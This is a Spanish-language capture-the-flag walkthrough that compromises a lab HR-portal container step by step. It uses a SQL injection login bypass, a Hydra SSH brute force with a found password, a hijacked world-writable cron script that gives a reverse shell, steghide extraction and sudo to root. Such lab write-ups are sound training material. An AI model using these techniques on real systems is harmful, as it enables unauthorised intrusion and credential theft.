Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-13 11:47 EST
Nmap scan report for 172.17.0.2
Host is up (0.000046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 35:ff:c4:8b:c4:e1:46:12:43:b9:03:a9:cf:ec:f3:0a (ECDSA)
|_ 256 23:ac:95:1e:be:33:9e:ed:14:f0:45:f6:27:51:ca:ba (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: GateKeeper HR | Tu Portal de Recursos Humanos
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.34 seconds
Vemos una pagina normal, pero los botones ni nada, funciona, por lo que vamos a inspeccionar el codigo y veremos lo siguiente:
Vemos lo que parece ser un dominio el cual vamos a poner en nuestro archivo hosts a ver si asi los botones van bien.
cat /etc/hosts
Info:
<IP> gatekeeperhr.com
Lo guardamos y ahora pondremos lo siguiente en la URL:
URL = http://gatekeeperhr.com
Veremos que volvemos a la misma pagina, pero si le damos al boton de login veremos que funcion y veremos un panel de login.
Si probamos a realizar un SQL Injection simple, veremos que Bypasseamos el login y nos autenticamos:
User: ' OR 1=1-- -
Pass: ' OR 1=1-- -
Y veremos lo siguiente:
Por lo que vamos a probar a ver si podemos sacar info de la base de datos con el SQL Injection, pero no podremos realizar mucho, si hacemos un poco de fuzzing ahora con el dominio.
Vemos que hay una carpeta llamada /spam bastante interesante, en la que si entramos, veremos una pantalla en negro, pero si inspeccionamos el codigo, veremos lo siguiente:
<!-- Yn pbagenfrñn qr hab qr ybf cnfnagrf rf 'checy3' -->
Vemos que es una frase codificada en ROT13, y si lo decodificamos, veremos lo siguiente:
La contraseña de uno de los pasantes es 'purpl3'
Por lo que vemos hemos obtenido una contraseña y vemos que tenemos varios usuarios cuando entramos al panel de admin, por lo que nos crearemos un listado de usuarios con esos nombres:
Pero si inspeccionamos la pagina nos confirma que tiene que ser con uno de esos:
<!-- Quitar los permisos SSH a los pasantes, ya terminará el tiempo de pasantía -->
users.txt
ana
carlos
maria
juan
laura
pedro
sofia
diego
valentina
alejandro
Ahora realizaremos un ataque de fuerza bruta por SSH.
Escalate user pedro
Hydra
hydra -L users.txt -p purpl3 ssh://<IP> -t 64
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-13 12:18:53
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 10 login tries (l:10/p:1), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: pedro password: purpl3
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-13 12:18:57
Vemos que hemos obtenido las credenciales del usuario pedro, por lo que nos conectaremos por SSH.
SSH
ssh pedro@<IP>
Metemos como contraseña purpl3 y veremos que estamos dentro, por lo que leeremos la flag de usuario.
Si inspeccionamos la carpeta /opt veremos el siguiente archivo:
total 12
drwxr-xr-x 1 root root 4096 Feb 10 03:46 .
drwxr-xr-x 1 root root 4096 Feb 13 16:47 ..
-rwxrw-rw- 1 valentina valentina 30 Feb 9 01:47 log_cleaner.sh
Vemos que el archivo es de valentina, pero podemos escribir dicho archivo y pensare que lo estara ejecutando cada x tiempo, por lo que borraremos el interior del codigo y pondremos lo siguiente:
Y tendremos que esperar unos segundos, pasados unos segundos, si vamos a ver donde tenemos la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.60.128] from (UNKNOWN) [172.17.0.2] 38584
bash: cannot set terminal process group (2196): Inappropriate ioctl for device
bash: no job control in this shell
valentina@796c859a931f:~$ whoami
whoami
valentina
Vemos que seremos el usuario valentina, por lo que ahora tendremos que sanitizar la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Vemos que en la home de valentina hay una imagen llamada profile_picture.jpeg la cual nos tendremso que pasar al host para investigarla, pero veremos que nos tenemos python, ni ningun tipo de herramientas para pasarnoslo, por lo que haremos lo siguiente:
cp ~/profile_picture.jpeg /tmp
cd /tmp
chmod 777 profile_picture.jpeg
Ahora desde nuestro host ejecutamos lo siguiente:
scp pedro@<IP>:/tmp/profile_picture.jpeg .
Y con esto ya tendremos la imagen en nuestro host con las credenciales de pedro.
Vamos a probar si contuviera algun archivo oculto la imagen con la siguiente herramienta:
steghide extract -sf profile_picture.jpeg
Dejamos el passphrase en blanco y veremos que nos extrae el archivo.
Info:
Enter passphrase:
wrote extracted data to "secret.txt".
Si leemos el archivo secret.txt veremos lo siguiente:
mag1ck
Vemos que hemos obtenido una palabra lo que parece ser una contraseña del usuario valentina.
Si realizamos sudo -l y metemos la contraseña, veremos lo siguiente:
Matching Defaults entries for valentina on 796c859a931f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty, listpw=always
User valentina may run the following commands on 796c859a931f:
(ALL : ALL) PASSWD: ALL, NOPASSWD: /usr/bin/vim
Por lo que vemos podemos ejecutar lo que queramos como root y el binario vim igual, por lo que haremos lo siguiente:
sudo su
Info:
root@796c859a931f:/tmp# whoami
root
Y con esto ya seremos root por lo que leeremos la flag de root.